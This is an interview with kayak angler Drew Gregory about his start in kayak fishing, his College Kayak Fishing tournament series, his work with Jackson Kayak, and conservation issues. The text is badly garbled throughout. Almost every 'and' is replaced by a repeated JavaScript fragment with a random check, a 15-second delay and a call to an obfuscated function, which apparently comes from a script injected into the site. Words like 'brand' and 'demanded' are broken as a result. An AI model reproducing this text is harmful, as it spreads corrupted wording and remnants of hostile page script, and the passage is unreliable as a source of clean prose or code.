Drew Gregory

 

A charismatic Southern blend of passion, determination, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creativity, North Carolina’s Drew Gregory is an angler familiar to many within our sport.  With many roles to his name, including those of brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ambassador, speaker, television star, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentor, Drew is well-immersed in the kayak angling life.  As the founder of RiverBassin.com, Drew has built a community that has contributed greatly to the pool of online kayak angling resources.  This trend continues with his recent launch of College Kayak Fishing, a tournament series aimed at garnering interest andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and participation from the sport’s younger set.

 

What first drew you to this style of angling? When was that?

It was 2003, I was living with my parents back in Atlanta attending grad school at Georgia State University. I would walk down to the river with my dad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do some fishing like my dad andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I did while I was growing up there. I really started to fall back in love with fishing that river andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wanted to explore even more rivers in the area. I did some research online andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stumbled onto a small, friendly website called GeorgiaRiverFishing.com. Soon became a member of the forums there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and started noticing trip reports from some of the guys that were fishing these rivers in kayaks. I thought, “What a perfect tool for the job!” In 2001 I had learned how to whitewater kayak on the Ocoee River while I was attending Lee University, so I knew what a kayak was capable of doing, especially when you need to get to places that other boats cannot access. I immediately did my research andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and headed up to The Outside World in Dawsonville, GA to purchase an Ocean Kayak Caper. I soon bought a second one a few months later so my dad could join me. From there, the rest is history…my appetite to explore had to be fed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the rivers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creeks, in the state of GA especially, were what my Caper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I feasted on for the next 3 years.


Do you remember the first fish that you caught from a kayak?

To be honest I can’t remember the exact first fish, but I know where I was andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and who took me. My friend, Random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andy Woodhead, let me join him on a trip in his kayaks before I even owned one. We fished a small creek south of Atlanta, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the first one that I caught was either a bowfin or a largemouth bass. I know I caught several of each on that trip, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I just can’t remember technically which one was first. I wonder if he still has any photos from that trip? I’ll have to go ask him!


 

 

Media sources often tout the generalized demise of the sportsman, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and make the case that younger generations lack the interest necessary to sustain a solid fishing demographic. You discovered the sport of kayak angling while in college, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have parlayed your passion into a program in which you enable other young people to do the same. College Kayak Fishing, a catch-photo-release tournament series geared toward the 18-22 year old set, features numerous well-targeted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and high profile sponsors such as GoPro andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jackson Kayaks, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is advertised through a well produced video starring yourself. Explain to us what it was that compelled you to get involved with this cause, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what it is that you believe the organization will accomplish with regard to the aforementioned media claims.

I’ve always had a passion for young people, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and want to make a positive impact in their lives. In fact, my undergraduate degree is in youth ministry from Lee University, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then I actually went on to get my masters in Sports Management (GA St.). Working on a league for college students puts my experience/education to good use, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gives this group of anglers a chance to really get involved in something that will positively impact their lives. When I was in college, fishing is what kept me out of a lot of trouble andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and taught me a lot of important life lessons. In fact, growing up my dad would take me fishing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and while on the boat together he was able to impart a lot of life experience andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wisdom into me. I’d love to see these college kayak anglers get into this sport, which makes more sense for them to be a part of because it is inexpensive, simple, gets them outside, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allows them to burn off some energy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and steam that can build up when cooped up in a classroom all day! To me kayak fishing is (whether you’re young or older) a young, cool, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hip way to fish, so it all just fits perfectly with the college lifestyle, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it was about time they get a website where they can all come together andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and compete for some cool prizes.


What food andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or music fuels your drive to the put-in?

As far as music goes, I listen to a little of everything, to be honest. I could be rolling down the road singing some country, like Eric Church, or throw on a top 40 station or even listen to some positive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and encouraging Christian tunes. Much of the time however I am either A.) on the phone or B.) listening to sports talk radio or a fantasy football podcast (hey, you don’t win without doing some homework!) or even an audio book.

As far as food goes, I am a big dork andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finally have learned to “most of the time” eat what I know I should andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not what I know may taste better, for the sake of my body. We all know an apple is better for us than a doughnut, but for some reason I never could make myself eat the apple! Now, the older I get, the more I A.) feel it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and B.) don’t want to feel it! Haha, so I have thus changed my diet a good bit andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and really try to eat a lot of what our bodies were intended to eat – fresh, raw fruits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetables, wild caught fish, seafood andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and meat that has not been pumped full of hormones andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and raised in a cage/barn instead of on the range. Like I said, I know, I am a dork, but I’ve been in better shape because of it so I am sticking to it…well, the best I can.


 

 

Who, specifically, is shaping the future of kayak angling?

I would say the consumers are shaping it. Manufacturers produce what they think will sell, right? And, since the kayaking industry is a tight knit, small bunch, they are smart enough to solicit feedback from the consumers to hear “what they want.” Therefore, the consumers are shaping it all together, as one whole. There are very different anglers who fish in many different water types andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when a certain “niche” gets big enough, the boat designed for their craft will be made.

The next thing that is impacting kayak angling is the simple fact that so many of us are filming while on the water because it is so easy to do, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more importantly share, these days. GoPro cameras have made it too easy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and affordable for those who are into sharing trips with friends.

Lastly, the economy is shaping the sport because it is an inexpensive way to get on the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gas guzzling boats are no longer as affordable to the middle class as they used to be. Kayaks are affordable to everyone!


Through a combination of demonstrative angling talent, glossy media exposure, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and southern boy charm, you have, in many regards, become one of the more public faces of kayak angling. As such, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and especially amongst the youngest practitioners, you have become a true ambassador for our burgeoning sport. What does this responsibility mean to you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how has it impacted the public side of your persona?

Yeah, good question. Life changes a lot when you do become more of a public persona because you certainly lose a lot of the privacy you had before. You know more people, but in a weird way you also feel more alone, if that makes sense. Sometimes people or friends that see me in magazines, on TV or radio andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say “you’re famous,” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I just laugh andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and say, “Look, if there are A-list celebs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and B-list etc., then I must be so far down that I am beyond Z! In fact, you know that button on your phone that allows you to get to all those ‘extra symbols’…yeah, I’m way down there somewhere.” I just laugh it off because it is not something I am trying to be (celebrity) but rather is just something that can be a bi-product of success in the career I chose. However, I am not ignorant to the fact that there are certainly a lot of people in the kayak fishing world that have come to know me well andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that there is a responsibility that comes with that platform. It reminds me of a great proverb in the Bible – “From everyone who has been given much, much will be demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anded; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and from the one who has been entrusted with much, much more will be asked,” Luke 12:48. I only hope to use whatever recognition, big or small, this sport allows me, to make a positive impact on people’s lives because the talents I have all came from God anyway; I just hope to use them to the best of my ability so that at the end of my life I can feel good about the fact that I used all that I was given to the fullest – in sports lingo…”He left it all on the field!”


 

 

With regard to kayak angling, what issues are important to you? What, if anything, can be done about them?

1. Right to access water will always be an important issue for all paddlers, not just paddlers who fish. As our numbers grow, so does our voice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that is making a big impact on new bills being proposed, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a big impact in general to those decision makers in our government. We need to keep growing, but grow with the right people who are being good stewards of the resource andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not abusing it.

2. Catch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and release is also an important issue, especially in those inlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rivers, small lakes, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ponds because regulations are still based on the fact that not many people fish these waters. However, if we all kept our limit each time we fish these places, they would be depleted in a heartbeat because the kayak is allowing more anglers to fish these waters. So, it is up to us, since the governing bodies won’t make specific limits for these smaller waters, to sort of help govern them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and encourage catch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and release.


Barring money or logistics, what is your dream kayak angling trip?

I can’t even tell you an exact location, but just that it would be a remote section of river, any river, that is loaded with bass that has no public access for 20 or 30 miles. A true remote, wild water, kind of trip where you don’t know what’s around the next bend, but there is no turning back anyway so you gotta go for it! It would likely have big rapids as well, making it even more of an extreme adventure.

Having said all that, any place that has clear water, Permit, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bonefish on flats is pretty nice too!


 

 

What’s in your milk crate?

Well, lately my “milk crate” has been full of new product decision with Jackson Kayak for 2014 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finalizing some videos showing off what anglers can expect to see in stores soon for 2013 from Jackson. We have a barrage of cool new boats coming out, so it should be a great 2013 on the water. I’ve also been working a lot with filming more on the water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hopefully just being on the water more these days. 2012 was as busy as I have ever been with the demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and increase of the Jackson brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it had me traveling every which a way to try to do all I could for our great customers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and dealers.


Tell us about your best day on the water.

Best day on the water happened in, I believe, 2007, when I floated one of my favorite Georgia rivers with a few friends. I started the day with a nice 7lb largemouth bass andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ended up catching a total of 9 bass over 4lbs! Most of them were shoal bass ranging from 4 to 6lbs, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and by the end of the day, boy was my arm andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thumb sore!


 

 

What is the kayak fishing lifestyle?

I really believe the kayak fishing lifestyle is actually probably different for everyone of course, but for me it is a mix of the following – fitness, simplification, exploration andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhilaration! Kayak fishing is interesting because it is a mix of a laid back, almost surfer like attitude with a typical angler’s intensity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and appetite for hunting these finned creatures thrown in.


Tell us a story, any story.

I was fishing about a month ago for bass in a local river testing out the new Cuda 12. The water was muddy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I hooked a nice 6.5 or 7lb largemouth bass. Upon landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding it I removed my spinnerbait out of its mouth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tossed it over the side of the kayak with about 2 feet dangling off the kayak. I made a couple paddle strokes over to some rocks to get some photos when all the sudden my rod starts jumping off my kayak! WHAT!!! I grabbed it as fast as I could, lifted it up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lo andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and behold I had a 3.5lb largemouth on the end of my line! So, I guess in a way I got a double without even trying! The larger fish was my priority andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I put the smaller one back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got some good photos of the big girl. I still can’t believe it happened!


 

 

Take us back in time, perhaps by a decade or so, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allow us to chat with the college-age Drew. Did he have any idea as to what his future would entail? Had he any idea that he would soon have to his name numerous television appearances, kayak design credentials, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a highly-attended public speaking circuit?

Oh wow, haha, I don’t know if I can let you guys give me credit for all that! On the kayak designs, I just design the “concepts” of some of the Jackson boats, but there is an elaborate team behind these concepts that contribute to their success. I’ll always get more credit than I deserve since I am in the public spotlight, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they’ll never get as much praise as they deserve. Allow me to use this time to say how amazing all the team at Jackson Kayak is, especially R&D manager, Tony Lee, Scott Henderson, our product manager, Damon Bungard, plant manager, Brad Sisqo, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of course our VP of sales, Marty Cronin, head coach Joe Pulliam, CFO, Dave Olson, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and of course president, Eric Jackson, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and everyone else.

Now, would I have thought any of this would be where I am today – NO WAY! Haha, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that is a good thing for any high school student, college student or post graduate student out there that is currently thinking “I don’t know what I want to do with my life, where I want to go.” I didn’t know until I was about 28 years old andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and some people may not know until they are much older, or some younger, but it isn’t about figuring it out as soon as you can necessarily, its about finally ending up where you need to be. I do know that I have always been an outgoing, passionate, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and entrepreneurial kinda guy who was always going to end up doing something totally unique/different. I never once thought “I can’t do that,” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and truly believed my parents when they say what all parents say, “you can do anything you want when you grow up if you work hard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and put your mind to it.” The last thing you ever want to say to me is “that can’t be done” because the second someone says that regarding an idea I have, I’ll go do it! It is just the way my brain is wired. If I set a goal to fly, it wouldn’t be just to fly, but it would be to FLY TO THE MOON!


 

 

What does the future hold for you?

I suppose just more cool kayak designs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hopefully some more on-the-water time! Also, a lot more work to be done to build CollegeKayakFishing.com so we can start to really reach a demographic that needs to be in a kayak more than they are. I’ll likely try to do more with TV as well, so that should be interesting.

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